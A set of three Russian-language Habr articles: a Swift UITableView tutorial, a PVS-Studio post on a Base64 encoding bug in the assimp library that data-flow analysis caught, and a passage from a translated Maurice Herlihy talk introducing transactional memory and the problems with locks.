Для тех, кому нравятся несмешные шутки, я записал [ролик на YouTube](https://youtu.be/JKIpuNFpZn0). Ну а здесь всё будет серьезно. Давайте начнём.
Создадим пустой проект, назовем как душе угодно и перейдем в контроллер. В UIKit есть класс *UITableViewController*. Вы можете нагуглить много туториалов, где таблицу показывают именно в контексте этого класса. Но для большего понимания все сделаем в базовом *UIViewController*.
Чаще всего, когда нужна таблица, используется *UINavigationController*:
Давайте добавим его. В файл *AppDelegate*, функцию *didFinishLaunchingWithOptions* вставим следующий код:
```
let navigationController = UINavigationController.init(rootViewController: ViewController())
self.window = UIWindow.init(frame: UIScreen.main.bounds)
self.window?.rootViewController = navigationController
self.window?.makeKeyAndVisible()
```
Короткий ликбез зачем: cториборды и констрейнты — **добро**, но в этом туториале постараемся обойтись без них. Этот код позволит игнорировать сториборд (его можно удалить) и обернёт *ViewController* в *UINavigationController*.
Хорошо бы установить заголовок для *UINavigationBar*. Для этого мы перейдем в класс *ViewController* (всю дальнейшую работу мы будем делать тут) и в метод *viewDidLoad* добавим следующий код:
```
self.view.backgroundColor = UIColor.white
self.navigationItem.title = "Table"
self.navigationController?.navigationBar.prefersLargeTitles = true
```
Теперь заголовок станет большим и модным. Запустив проект, увидим следующее:
Делаем TableView
----------------
Подготовительные действия закончены, можем переходить к главному. В контроллере создадим проперти *UITableView*. Выберем инициализатор, который имеет параметр Style. Фрейм выставим любой, к нему мы вернемся потом. А для стиля установите *Grouped*.
```
let tableView = UITableView.init(frame: .zero, style: UITableView.Style.grouped)
```
Почему такое название стиля — понятия не имею, но он позволит нам сделать нативную таблицу, как в приложении **Настройки**. Если вам нужна не стилизованная таблица — используйте инициализатор только с параметром frame.
Layout
------
Здесь бы нас спасли констрейнты, но не будем искать легкий путей. Покажу способ, который использую я. Он, конечно, не претендует на канонический и не обязательно делать именно так. Объявим функцию, которая будет выставлять фрейм вьюхам, а параметром будет принимать размер контроллера:
```
private func updateLayout(with size: CGSize) {
self.tableView.frame = CGRect.init(origin: .zero, size: size)
}
```
Вызвать функцию нужно в двух местах — в методе *viewDidLoad* и в *viewWillTransition*:
```
override func viewWillTransition(to size: CGSize, with coordinator: UIViewControllerTransitionCoordinator) {
super.viewWillTransition(to: size, with: coordinator)
coordinator.animate(alongsideTransition: { (contex) in
self.updateLayout(with: size)
}, completion: nil)
}
```
Теперь таблица при любой ориентации будет размещена на весь экран. В метод *updateLayout* можно добавлять другие обработки.
Делаем UITableViewCell
----------------------
Так как туториал не о ячейках, а таблице, то подробно на кастомизации останавливаться не будем. Сделаем класс ячейки, наследуемая от базового:
```
class TableViewCell: UITableViewCell {
}
```
Что бы ячейку использовать в таблице, нужно зарегистрировать класс. Для этого во *ViewController* у таблицы вызоваем следующий метод:
```
self.tableView.register(TableViewCell.self, forCellReuseIdentifier: "TableViewCell")
```
Если с классом понятно, то идентификатор заслуживает внимания. В 99% случаев сработает правило:
* "*Ячейки одного класса должны иметь один идентификатор*"
Ситуаций, когда для ячеек одного класса нужны разные идентификаторы, крайне мало, и в основном они связаны с [отрисовкой кодом](https://habr.com/ru/post/434892/) и анимациями.
DataSource
----------
Это проперти, которое указывает на объект, который будет наполнять таблицу. Т.е. реализовывать протокол *UITableViewDataSource*. Обязательными являются два метода:
```
func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {}
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {}
```
Первый отвечает за количество ячеек в секции. Cекция у нас пока одна, многосекцие (такое слово есть?) рассматривать не будем. Второй метод за получение объекта ячейки. Работает он хитро, не думайте что вы раскусили бойца!
Но сначала давайте добавим массив строк, которым будем наполнять таблицу.
Теперь перейдем к реализации первого метода:
```
func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
switch tableView {
case self.tableView:
return self.data.count
default:
return 0
}
}
```
Мы говорим таблице что в 0-ой секции будет ячеек столько, сколько элементов в массиве **data**. Второй метод чуть сложнее. Просто проинициализировать ячейку не получится, и всё из-за системы переиспользования ячеек. Но не нужно ругать Apple, на самом деле это хорошо! Чтобы получит объект, нужно вызывать следующий код:
```
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
let cell = self.tableView.dequeueReusableCell(withIdentifier: "TableViewCell", for: indexPath) as! TableViewCell
cell.textLabel?.text = self.data[indexPath.row]
return cell
}
```
Метод *dequeueReusableCell* получит объект ячейки по идентификатору, а мы сделаем приведение типа при помощи **as** до класса *TableViewCell*, которым и должна быть ячейка. *textLabel* это проперти базового класса, никакой дополнительной настройки не требуется.
Остается указать *dataSource* для таблицы и метод *viewDidLoad* теперь должен выглядеть так:
```
override func viewDidLoad() {
super.viewDidLoad()
self.view.backgroundColor = UIColor.white
self.navigationItem.title = "Table"
self.navigationController?.navigationBar.prefersLargeTitles = true
self.view.addSubview(self.tableView)
self.tableView.register(TableViewCell.self, forCellReuseIdentifier: "TableViewCell")
self.tableView.dataSource = self
self.updateLayout(with: self.view.frame.size)
}
```
Если мы запустим проект, то увидим таблицу, наполненную контентом:
Переиспользование
-----------------
Пока кажется что всё в порядке. Давайте добавим для одной из ячеек *disclosureIndicator*. Это аксессуар, который вы точно встречали в iOS:
Допустим стоит задача установить индикатор только для первой ячейки. Первое что придет на ум — добавить простой if в метод *cellForRowAt*:
```
if indexPath.row == 0 {
cell.accessoryType = .disclosureIndicator
}
```
Но враг прячется! Давайте запустим проект, и проскролим таблицу за пределы экрана:
Индикатор появился для первой, но бессистемно появляется и для других ячеек! Это и есть переиспользование — берётся ячейка, которая удобнее лежит в памяти (отличное объяснение для новичков, правда?) и конфигурируется согласно методу. Иногда случается что вытягивается ячейка с индикатором. Как итог — имеем такой баг. Что делать?
Всё просто. Есть два варианта решения. Первый заключается в блоке else и по сути подразумевает под собой однозначное конфигурирование любой ячейки. Метод будет выглядеть так:
```
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
let cell = self.tableView.dequeueReusableCell(withIdentifier: "TableViewCell", for: indexPath) as! TableViewCell
cell.textLabel?.text = self.data[indexPath.row]
if indexPath.row == 0 {
cell.accessoryType = .disclosureIndicator
} else {
cell.accessoryType = .none
}
return cell
}
```
Есть другой способ — реализовать метод *prepareForReuse* у ячейки. Как видно из названия — метод вызывается перед переиспользованием. Все что нужно — сбросить ячейку до дефолта. Код выглядит так:
```
class TableViewCell: UITableViewCell {
override func prepareForReuse() {
super.prepareForReuse()
self.accessoryType = .none
}
}
```
C переиспользыванием связано много нюансов. К примеру, задача с загрузкой изображений для ячейки в фоне с пагинацией, адаптивная высота, анимированное удаление и вставка. Но об этом во второй части, если у меня дойдут руки)
Для ищущих
----------
Я веду [канал в телеге](https://t.me/+NjnQUtK6zGM3ZjU6) про iOS разработку. Видео-туториалы выкладываю на [youtube канале](https://ivanvorobei.by/youtube). Можно найти ролики [как рисовать кодом](https://youtu.be/ID5JvGbXXTY) или [как сделать контроллер плеера Apple Music](https://youtu.be/wOTNGswT2-0), а так же ролик по этой статье: | https://habr.com/ru/post/436390/ | null | ru | null |
# Зачем PVS-Studio использует анализ потока данных: по мотивам интересной ошибки в Open Asset Import Library
Анализ потока данных является неотъемлемой частью любого современного статического анализатора кода. Однако, со стороны, не очень понятно, что это и главное – зачем нужно. До сих пор некоторые ассоциируют статический анализ с поиском чего-то в коде по определённому шаблону. Поэтому время от времени мы пишем заметки, в которых демонстрируем, как та или иная технология, используемая в анализаторе PVS-Studio, помогает выявить очередную интересную ошибку. Сегодня как раз такая статья, в которой мы рассмотрим баг в одной из реализаций стандарта кодирования двоичных данных Base64.
Всё началось с проверки свежей версии библиотеки Qt 6. Про это была отдельная классическая [статья](https://habr.com/ru/company/pvs-studio/blog/542760/), где я описал 77 найденных ошибок. Так получилось, что вначале я решил бегло полистать отчёт, ещё не пряча предупреждения, относящиеся к сторонним библиотекам. Другими словами, я не отключил в настройках предупреждения, относящиеся к \src\3rdparty. И так вышло, что я сразу наткнулся на интересный пример ошибки в библиотеке [Open Asset Import Library](https://github.com/assimp/assimp), про которую я решил сделать эту отдельную маленькую заметку.
Найденный дефект демонстрирует, зачем в инструментах, таких как [PVS-Studio](https://www.viva64.com/ru/pvs-studio/), полезно анализировать поток данных. Без этого поиск многих ошибок просто невозможен. Кстати, если вам интересно подробнее узнать про анализ потока данных и про другие аспекты устройства инструмента, предлагаю вашему вниманию статью "[Технологии, используемые в анализаторе кода PVS-Studio для поиска ошибок и потенциальных уязвимостей](https://www.viva64.com/ru/b/0592/)".
Теперь перейдём, собственно, к ошибке, обнаруженной в Open Asset Import Library (assimp). Файл: \src\3rdparty\assimp\src\code\FBX\FBXUtil.cpp.
```
std::string EncodeBase64(const char* data, size_t length)
{
// calculate extra bytes needed to get a multiple of 3
size_t extraBytes = 3 - length % 3;
// number of base64 bytes
size_t encodedBytes = 4 * (length + extraBytes) / 3;
std::string encoded_string(encodedBytes, '=');
// read blocks of 3 bytes
for (size_t ib3 = 0; ib3 < length / 3; ib3++)
{
const size_t iByte = ib3 * 3;
const size_t iEncodedByte = ib3 * 4;
const char* currData = &data[iByte];
EncodeByteBlock(currData, encoded_string, iEncodedByte);
}
// if size of data is not a multiple of 3,
// also encode the final bytes (and add zeros where needed)
if (extraBytes > 0)
{
char finalBytes[4] = { 0,0,0,0 };
memcpy(&finalBytes[0], &data[length - length % 3], length % 3);
const size_t iEncodedByte = encodedBytes - 4;
EncodeByteBlock(&finalBytes[0], encoded_string, iEncodedByte);
// add '=' at the end
for (size_t i = 0; i < 4 * extraBytes / 3; i++)
encoded_string[encodedBytes - i - 1] = '=';
}
return encoded_string;
}
```
Если хотите, то для начала можете попробовать обнаружить ошибку самостоятельно. А чтобы вы случайно сразу не прочитали ответ, приведу пока список некоторых других интересных статей и кратко расскажу, что такое Base64 :). Список дополнительных статей на близкую тематику:
1. [31 февраля](https://www.viva64.com/ru/b/0550/);
2. [Использование машинного обучения в статическом анализе исходного кода программ](https://www.viva64.com/ru/b/0706/);
3. [Как внедрить статический анализатор кода в legacy проект и не демотивировать команду](https://www.viva64.com/ru/b/0743/).
Ok, продолжим. Перед нами реализация алгоритма кодирования строки байт в кодировку [Base64](https://ru.wikipedia.org/wiki/Base64). Это стандарт кодирования двоичных данных при помощи только 64 символов. Алфавит кодирования содержит текстово-цифровые латинские символы A-Z, a-z и 0-9 (62 знака) и 2 дополнительных символа, зависящих от системы реализации. Каждые 3 исходных байта кодируются 4 символами.
Если осталось закодировать только один или два байта, то в результате получаются только первые два или три символа строки, а выходная строка дополняется двумя или одним символами "=". Это предотвращает добавление дополнительных битов к восстановленным данным. Вот этот момент как раз реализован в рассматриваемой функции неправильно.
Если вы нашли ошибку, вы молодец. Если нет, то это тоже нормально. Нужно вникать в код, чтобы заметить, что что-то идёт не так. Анализатор про это "что-то не то" сообщает предупреждением: [V547](https://www.viva64.com/ru/w/v547/) [CWE-571] Expression 'extraBytes > 0' is always true. FBXUtil.cpp 224
Чтобы понять причину беспокойства анализатора, давайте посмотрим, как инициализируется переменная *extraBytes*:
```
// calculate extra bytes needed to get a multiple of 3
size_t extraBytes = 3 - length % 3;
```
Программист планировал вычислить, сколько дополнительных байт входных данных нужно обработать, если их общее количество не равно 3. Для этого нужно просто поделить количество обрабатываемых байт по модулю 3. Правильный вариант инициализации переменной:
```
size_t extraBytes = length % 3;
```
Тогда, если обрабатывается, например, 5 байт, то получаем 5 % 3 = 2, и нужно дополнительно обработать 2 байта. Если на вход поступило 6 байт, то ничего отдельно обрабатывать не нужно, так как 6 % 3 = 0.
Хотя, возможно имелось в виду, сколько байт не хватает для кратности трём. Тогда правильный код должен быть таким:
```
size_t extraBytes = (3 - length % 3) % 3;
```
Мне сейчас не интересно пытаться до конца разобраться, каким именно должен быть правильным вариант. В любом случае, программист написал некий средний бессмысленный вариант кода:
```
size_t extraBytes = 3 - length % 3;
```
И как раз при анализе этого кода анализатору и понадобился механизм анализа потока данных. Какое бы значение не находилось в переменной *length*, после деления по модулю будет получено значение в диапазоне [0..2]. Анализатор PVS-Studio умеет работать с диапазонами, точными значениями и множествами. Т. е. речь идёт про [Value Range Analysis](https://en.wikipedia.org/wiki/Value_range_analysis). В данном случае будет использован именно диапазон значений.
Продолжим вычисления:
```
size_t extraBytes = 3 - [0..2];
```
Получается, что переменная *extraBytes* никогда не будет равна нулю. Анализатор вычислит следующий возможный диапазон её значений: [1..3].
До момента проверки, переменная нигде не изменяется. Следовательно, анализатор совершенно прав, предупреждая, что результатом проверки всегда будет истина:
```
if (extraBytes > 0)
```
Это простой, но красивый пример, когда анализ потока данных позволил вычислить диапазон значений переменной, проследить, что она не изменяется и, наконец, то, что условие всегда истинно.
Конечно, некорректность работы функции не ограничивается тем, что будет выполнять фрагмент кода, который выполняться не должен. Там вообще всё идёт вкривь и вкось. Предположим, что требуется закодировать 6 символов. В этом случае выходная строка должна содержать 8 символов. Давайте быстренько прикинем, как поведёт себя рассмотренная функция.
```
// calculate extra bytes needed to get a multiple of 3
size_t extraBytes = 3 - length % 3; // 3-6%3 = 3
// number of base64 bytes
size_t encodedBytes = 4 * (length + extraBytes) / 3; // 4*(6+3)/3 = 12
std::string encoded_string(encodedBytes, '=');
```
Уже получилось, что выходная строка будет содержать 12 символов, а не 8. Дальше тоже всё будет работать неправильно – даже нет смысла вдаваться в подробности.
Вот так легко и просто статический анализ нашёл ошибку в коде. А представьте, ведь кто-то будет мучиться и отлаживаться, чтобы понять, почему неправильно происходит кодирование символов в кодировку Base64. Здесь мы, кстати, подходим к вопросу качества используемых сторонних библиотек, который я рассматривал в публикации "[Почему важно проводить статический анализ открытых библиотек, которые вы добавляете в свой проект](https://www.viva64.com/ru/b/0762/)".
Попробуйте внедрить регулярное использование PVS-Studio в ваш процесс разработки, чтобы находить многие ошибки на самом раннем этапе. Вам понравится :). Если вы разрабатываете открытый проект, то анализатор можно использовать [бесплатно](https://www.viva64.com/ru/b/0614/). Спасибо за внимание и безбажного вам кода.
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [Why PVS-Studio Uses Data Flow Analysis: Based on Gripping Error in Open Asset Import Library](https://habr.com/en/company/pvs-studio/blog/543138/). | https://habr.com/ru/post/543144/ | null | ru | null |
# Введение в транзакционную память от Мориса Херлихи
Как при распараллеливании кода не мучиться из-за блокировок? На Хабре уже писали о транзакционной памяти, но когда о ней говорит **Морис Херлихи**, это особый случай. В 1993-м и Хабра никакого не было, и многоядерные процессоры ещё не заявили о себе — а Морис уже стал соавтором основополагающей [работы](https://dl.acm.org/doi/10.1145/165123.165164) о транзакционной памяти. Так что он главный в мире авторитет по этому вопросу, и если вам нужно введение в тему, логично слушать его.
В прошлом году на нашей конференции Hydra он выступил с докладом для широкой публики, где всё начинается с самых азов и затем доходит до менее очевидных вещей. Сейчас мы ждём его на [**Hydra 2021**](https://hydraconf.com/2021/msk/schedule/?utm_source=habr&utm_medium=557622) с новым докладом — а в ожидании этого решили сделать для Хабра текстовый перевод прошлогоднего выступления на русский (видеозапись тоже прилагаем). Далее повествование будет от лица спикера.
### Содержание
* [Закон Мура](#moore)
* [Закон Амдала](#amdahl)
* [Варианты блокировок](#locktypes)
* [Проблемы блокировок](#lockissues)
* [Транзакционный манифест](#manifesto)
* [Транзакции против блокировок](#versus)
* [Аппаратная транзакционная память](#hardware)
* [Использование транзакционной памяти](#using)
* [Гибридная транзакционная память](#unite)
* [Открытые для исследования вопросы](#research)
### Закон Мура
Все знают, что невозможно выступить с докладом по computer science, не упомянув закон Мура хотя бы один раз. Поэтому я отделаюсь от этой обязанности на первом же слайде.
Вы и сами наверняка знаете, но не будет лишним повторить. В соответствии с этим законом транзисторы становились всё меньше. Долгое время это также означало, что тактовая частота процессора возрастает, но эти времена прошли. Транзисторы продолжают уменьшаться, на одном квадратном миллиметре можно разместить всё больше (хотя и этому может прийти конец), но тактовая частота не увеличивается.
Причина проста: когда транзисторы становятся слишком малы, они перегреваются. И больше нельзя просто ускорить ваш ноутбук без того, чтобы он загорелся.
Поэтому вместо ускорения процессоров инженеры стали делать их всё более многоядерными. Так вы ежегодно получаете примерно ту же тактовую частоту, зато у вас увеличивается количество потоков, с которыми вы можете работать.
Когда-то давно всё компьютерах всё было просто: одноядерный CPU и память (такая система называется uniprocessor). Сейчас таких архитектур практически не осталось, потому что стало выгоднее использовать множество процессоров в микросхему.
После изобретения многопоточности появились многопроцессорные системы с разделяемой памятью (shared-memory multiprocessor):
Сейчас это тоже вымирающий вид.
А сегодня популярны многоядерные процессоры, иногда их называют CMP (chip multiprocessor). И это означает, что кэш процессора (по крайней мере, часть памяти, коммуникационная среда), размещается целиком на одном кусочке кремния (кристалла).
Так в реальности выглядит довольно небольшой старомодный многоядерный процессор:
Каждый из этих прямоугольников — это процессор, всё остальное — это кэши и память. Все процессоры и память расположены на одной микросхеме.
И это имеет значение для софта, что важно для нас, поскольку доклад не столько о железе, сколько о программировании.
В стародавние времена, когда некоторые из вас ещё и не родились, софт получал «ускорение на халяву». Можно было не менять код, а ваш однопроцессорный компьютер начинал работать всё быстрее:
На слайде процессор становится больше, чтобы показать увеличение производительности. Вообще-то они становились меньше, но думаю, вы это и так понимаете.
В идеальном мире каждый год и ваша программа, и компьютеры становились бы всё более многопоточными, и ваш код продолжал бы так же ускоряться:
Но, конечно, жизнь не так проста.
В реальности так не происходит по ряду причин. И на самом деле всё выглядит примерно так:
Мы пишем программы, делаем их параллельными и многопоточными, добавляем потоки (threads), блокировки (locks), синхронизацию. И хотя железо выглядит всё более мощным и параллельным, ПО не может за ним поспеть. Блокировки вызывают борьбу за ресурсы и разные другие проблемы.
Это приводит нас к очевидному, но ценному наблюдению: использовать параллелизм тяжело, для этого нужны компетентность и глубокое осмысление вопроса. Не то что в старые добрые времена, когда вы могли написать программу и расслабиться, потому что увеличение тактовой частоты само ускорило бы программу.
### Закон Амдала
После закона Мура был закон Амдала, указывающий, как думать о параллелизме. Конечно, этот закон — идеализация и абстракция, он не учитывает много нюансов, поэтому не стоит воспринимать его слишком буквально. Но он подсказывает, как подходить к масштабированию ПО путём увеличения параллелизма.
Определим ускорение программы от параллелизма как соотношение количества времени, которое потребуется для её исполнения на одном процессоре, и времени, за которое та же самая программа будет выполняться на n-поточной машине:
При увеличении n нам хотелось бы, чтобы скорость исполнения становилась как можно выше, и нам важно, во сколько раз всё ускорилось.
В итоге закон Амдала выглядит так:
Здесь p — это та часть вашего кода, которая может выполняться параллельно. Например, если ваш код полностью последователен, то p равно нулю. Тогда по закону Амдала ускорение равно единице (программа «ускорилась в один раз», то есть не ускорилась вообще), и вы зря тратите деньги на многоядерный процессор.
А если p равно 1, то код полностью параллельный. И сколько ядер будет, во столько раз он и ускорится.
Но это крайние случаи, а в большинстве интересующих нас приложений p находится где-то между 0 и 1.
Давайте посмотрим, что говорит нам это уравнение. Когда мы берём параллелизируемую часть программы p и делим на количество потоков n, это время выполнения этой части. А «1 – p» — это та последовательная часть, которая не может быть ускорена.
В этом уравнении ваше ускорение представлено в идеализированном виде: в реальной жизни существуют и другие аспекты, влияющие на скорость вашей программы (например, локальность кэша). Но это довольно неплохое приближение для наших целей.
Если отвлечься от математики, моё любимое объяснение значимости закона Амдала выглядит так:
На практике закон Амдала гласит, что небольшой фрагмент плохой синхронизации сломает всё. Если вы хотите использовать современное многоядерное аппаратное обеспечение, вам нужно очень хорошо подумать над синхронизацией, потому что именно она контролирует, насколько хорошо ваше приложение будет масштабироваться в современном мире.
#### Пример
Представим, что вы покупаете 10-ядерную машину. А ваше приложение на 60% параллельное и на 40% — последовательное. Иными словами, 60% вашего приложения могут быть распределены между разными ядрами, а 40% приходятся на части, которые нельзя так ускорить — скажем, на UI и обращение к диску.
Когда вы сказали начальнику, что хотите купить 10-ядерный компьютер, он сказал: «Надеюсь, мы получим десятикратное ускорение нашего приложения». Насколько это возможно с 60% параллельности и 40% последовательности? Какое ускорение вы получите по закону Амдала?
**Ответ: вы получите ускорение в 2.17 раз**. Итак, у вас стало 10 процессоров, но ускорилось всё только в два раза. Как-то не очень воодушевляет. Поэтому вы попросили своих программистов задерживаться после работы и работать без выходных, чтобы сократить последовательную часть и увеличить многопоточную.
Была проделана большая работа, и в программе стало 80% многопоточности. Вы запускаете программу, чтобы посмотреть, насколько вы приблизились к десятикратному ускорению. И теперь это 3,57. Итак, вы очень усердно работали, ваш код многопоточен на 80%, но вы получили ускорение всего лишь в 3,5 раза. Опять же, мы живём в очень суровом мире.
Вы снова принимаетесь за работу, работаете ещё усерднее и добиваетесь 90% многопоточности в своём коде. И получаете ускорение в 5,26 раза. То есть у вас 10 процессоров, но вы получаете эффект, как от пяти.
Если вы хотите получить ускорение, которое хоть немного похоже на рост числа процессоров у вашего железа, понадобится сделать своё приложение на 99% параллельным и на 1% последовательным. Так вы ускоритесь в 9.17 раз и приблизитесь-таки к десятикратному ускорению.
То есть закон Амдала гласит, что вы не можете просто написать код старым добрым способом, а потом ожидать улучшений от железа. Если ваш код слишком последовательный, то не важно, насколько усердно будут работать инженеры Intel и остальные, потому что вы не сможете в полной мере воспользоваться результатами их труда.
Сегодня я хочу поговорить не о том, как взять и разбить программу на параллельные части, а как взять части, которые сложно сделать многопоточными, и всё же сделать их такими. Мы только что увидели, что это может очень сильно повлиять на ускорение и масштабируемость.
Очевидная аналогия — шарикоподшипники в велосипеде. Вы можете пойти и купить итальянский гоночный велосипед со сложными деталями, но самая важная из них — шарикоподшипники, то есть места, где детали должны двигаться вместе. И многопоточность — это такие шарикоподшипники ПО: если эта часть сделана плохо, то всё остальное не особенно имеет значение.
### Варианты блокировок
Давайте поговорим о разных способах подходить к синхронизации. Традиционный способ следующий: если у вас есть структура данных, к которой обращается множество ядер, вы ставите на неё блокировку — это как задвижка в туалете. Она гарантирует нам, что только один поток сможет работать с объектом в определённый момент времени. Потому что если будут работать сразу два, не будучи синхронизированными, могут возникнуть ошибки.
#### Грубая блокировка (coarse-grained locking)
Грубая блокировка — это установка одной блокировки сразу на всю структуру данных. Преимущество в том, что это относительно легко сделать правильно. Если вы поставите одну большую блокировку на всю свою систему файлов, на всю базу данных, то сведёте проблему к последовательному программированию. И хотя последовательное программирование тоже непростое, мы хотя бы знаем, как оно делается.
Однако у него очень плохая производительность.
Если у вас когда-либо были в доме маленькие дети, вы знаете, что рано или поздно они доберутся до уборной и закроют там сами себя, и потребуется много времени, чтобы вызволить их оттуда.
Возникает вопрос: «Если у нас сложная структура данных, почему бы не блокировать только те её части, которые нужны в текущий момент?»
#### Мелкоструктурная блокировка (fine-grained locking)
Очевидное решение — использовать мелкоструктурную блокировку, то есть размещать блокировки на каждом кусочке структуры данных. По мере прохождения этой структуры вы устанавливаете блокировку где необходимо, а когда заканчиваете работу на этом промежутке, снимаете её. Так ваши потоки смогут использовать одну структуру данных одновременно.
Однако здесь свой недостаток: бывает сложно написать структуру данных, используя мелкоструктурную блокировку. Можно писать целые исследования о том, как это делать. А если о чём-то можно писать исследования, значит, это не самая удачная инженерная техника!
Помимо этого, у блокировок в целом есть и другие проблемы.
### Проблемы блокировок
#### Блокировки не отказоустойчивы
Если в одном потоке была установлена блокировка, а затем произошёл отказ, то блокировка останется, и никто больше не сможет воспользоваться структурой данных.
С этим можно бороться. Люди разработали очень сложные и изощрённые способы сказать: «На случай, если вы устанавливаете блокировку и не снимаете её, есть аварийный способ очистки». Но эти штуки обычно не очень хорошо работают, они сложные и медленные.
Если поток, поставивший блокировку, задерживается, то застопорится и всё остальное. Так что эти подходы крайне ненадёжны.
#### Блокировки конвенциональны
Есть ещё одна проблема с блокировками, о которой не очень много говорят, но я считаю её очень серьёзной. Дело в том, что блокировки опираются на конвенции, договорённости. По большей части программисты вынуждены следовать протоколам и конвенциям, приходя к соглашениям, чтобы корректно использовать блокировки. Пример такой конвенции — отношение между данными блокировки и данными объекта. Блокировка — это просто бит или байт в памяти, а объект может быть сложной структурой данных в виде связанного списка или частью сложной структуры данных. Отношение между ними существует только в голове у программиста.
В языках программирования появилось множество механизмов для связывания блокировок с объектами: обработчики событий и другие. Но они никогда не были очень удачными для очень сложных блокировок. В качестве наглядного примера — комментарий из ядра Linux:
> «When a locked buffer is visible to the I/O layer BH\_Launder is set. This means before unlocking we must clear BH\_Launder,mb() on alpha and then clear BH\_Lock, so no reader can see BH\_Launder set on an unlocked buffer and then risk to deadlock».
>
>
Я сам не очень понимаю, что этот комментарий значит. Если бы я работал над проектом, где мне нужно было правильно использовать именно этот синхронизированный буфер, я был бы очень обеспокоен, потому что не знаю, кто написал это, не совсем точно понимаю, что это значит, не знаю, применимо ли это сейчас. Но в целом в сложных системах блокировки работают именно так: программисты оставляют комментарии (примерно как граффити), поясняя, как что-либо использовать. Если этого не делать, то случится что-то плохое. Но зачастую что-то плохое случится в любом случае.
#### Блокировки усложняют простые задачи
Эту проблему трудно определить формально, но при встрече с ней сразу всё понимаешь.
Приведу пример простой задачи, которую сможет понять и старшеклассник. Допустим, у нас есть двухсторонняя очередь (double-ended queue): элементы можно добавлять и убирать с обеих сторон. Поэтому один поток может добавлять элемент с одной стороны, в то время как другой добавляет с противоположной. Ваша задача — обеспечить здесь синхронизацию на основе блокировки (lock-based synchronization).
Если концы очереди далеко друг от друга, то можно работать на обоих сразу без взаимных помех и без необходимости координировать действия, потому что они не влияют друг на друга. Однако если очередь короткая (например, в ней только один элемент), и мы с вами пытаемся работать с ней одновременно, нужна синхронизация.
Получается, что требующийся вид синхронизации зависит от состояния очереди. И это простая задача, которую легко объяснить, но довольно сложно решить.
Если у вас возникнет идея нового подхода к ней, вероятно, результаты можно будет представить на академической конференции. Потому что, насколько мне известно, первое техническое решение этой задачи было [опубликовано](https://dl.acm.org/doi/10.1145/248052.248106) Магедом Майклом и Майклом Скоттом на конференции PODC в 1996 году. И мне кажется, у дисциплины есть проблема, когда такая простая задача на самом деле так сложна, что её решение достойно публикации.
Наши друзья математики обожают подобные вещи. Среди них много теоретиков, которые выдвигают довольно простые гипотезы, которые потом веками пытаются доказать. Но дисциплина computer science должна быть инженерной: мы должны решать задачи, а не превозносить нерешённые.
#### Блокировки не компонуются
Первое, что вы узнаете, как программисты, — вам не нужно писать свои собственные процедуры синуса и косинуса, потому что существуют библиотеки. В любой момент, когда мне нужно вычислить синус угла, я могу вызвать библиотеку, которая даст мне верный ответ. Мне не нужно знать, как она работает: я вызываю библиотеку, она написана экспертами, и мне не нужно об этом думать.
С блокировками ситуация гораздо хуже. Вот, например, у меня есть поток, который хочет переместить что-то из одной очереди в другую:
Я должен убедиться в том, что это перемещение атомарное, то есть никакой другой поток не видит две копии перемещаемого элемента или пропущенный элемент. Каждый наблюдатель видит, что элемент находится либо в одной, либо в другой очереди. Как нам это сделать с блокировкой?
Очевидный способ это сделать: заблокировать очередь-источник, потом заблокировать очередь-адресат, совершить перемещение и затем снять блокировку. Так работает, например, двухфазная блокировка в базах данных.
Но давайте подумаем, каковы последствия такого решения для структуры ПО.
Методы постановки в очередь и удаления из очереди не могут обеспечить внутреннюю синхронизацию. Вы не сможете в Java сделать это synchronized-методом, потому что метод поставит блокировку, произведёт операцию и снимет блокировку, но единственный способ осуществить атомарное перемещение — это удерживать блокировку, пока производится перемещение.
Это значит, что единственный способ скомпоновать эти очереди — это сделать так, чтобы объекты предоставляли свои протоколы блокировки клиенту. Ваша FIFO-очередь должна иметь операции блокировки и разблокировки, которые могут быть вызваны клиентами.
Но это значит, что вы должны доверять вашим клиентам разрабатывать протоколы и следовать им. Если вы делаете синхронизацию внутри своего метода, тогда вы можете гарантировать, что ваш метод корректен. Но если вы говорите: «Вот очередь, которая работает корректно, только если ваши клиенты следуют протоколу», — то это очень нехорошая ситуация с точки зрения программной инженерии. Она означает, что вы должны доверять всем, а если кто-то поведёт себя неправильно, то даже если вы всё сделали правильно, можете пострадать.
#### Паттерн «Monitor wait and signal» не компонуется
Ещё одна распространённая проблема связана с паттерном «Monitor wait and signal». У нас есть поток, который ожидает задание, например, от буфера сообщений. Буфер пуст, так что процесс говорит: «Мне нет смысла тратить ресурсы, когда делать нечего. Я буду спать, а ты сообщи мне, когда что-нибудь появится». Когда в буфере появляется элемент, мы можем разбудить поток, и он начнёт потреблять данные.
Меня беспокоит, что этот паттерн не компонуется.
Представим, что поток готов ждать, когда что-нибудь появится в одном из двух буферов. Он говорит: «Хорошо, первый буфер пуст, я проверю второй буфер. Второй тоже пуст, так что я засну и буду ждать сигнала от одного из буферов».
Проблема в том, что это невозможно написать, используя классические мониторы. Если вы используете класс Java, то если уж вы установили монитор блокировки, вы видите, что буфер пуст, вы должны заснуть внутри монитора, вы не можете уснуть в одном мониторе и при этом быть активным в другом мониторе. Так что даже очень простые формы компоновки не работают в классических конструкциях синхронизации.
Это было нормально во времена Дейкстры, когда люди сталкивались с простыми проблемами, но это не лучший способ проектировать современное масштабируемое ПО. Так что я предложу альтернативу этой классической форме синхронизации, которую я буду называть «Транзакционный манифест».
### Транзакционный манифест
Многие современные практики программирования не подходят для многоядерного мира. Поэтому я предлагаю альтернативу, сосредоточенную на атомарных транзакциях.
Это не новая идея. В IT известно, что почти все важные идеи и системы появились в мире баз данных. Но люди из этого мира говорят на своём языке, ходят на свои конференции и мало общаются с теми, кто занимается языками программирования и распределёнными системами. Значит, если украсть у них идею, то никто не заметит и все решат, что вы это придумали! И я решил украсть у них идею атомарных транзакций (не рассказывайте им). Посмотрим, насколько далеко это может завести.
Общий план таков:
* Заменим блокировки на атомарные транзакции
* Поговорим о разработке языков и библиотек
* Внедрим эффективные реализации
Но в этом докладе мне не хватит времени на все эти темы. Придётся сконцентрироваться на более узкой повестке:
* Транзакции против блокировок
* Аппаратная транзакционная память
* Использование транзакционной памяти
* Объединение транзакций с блокировками
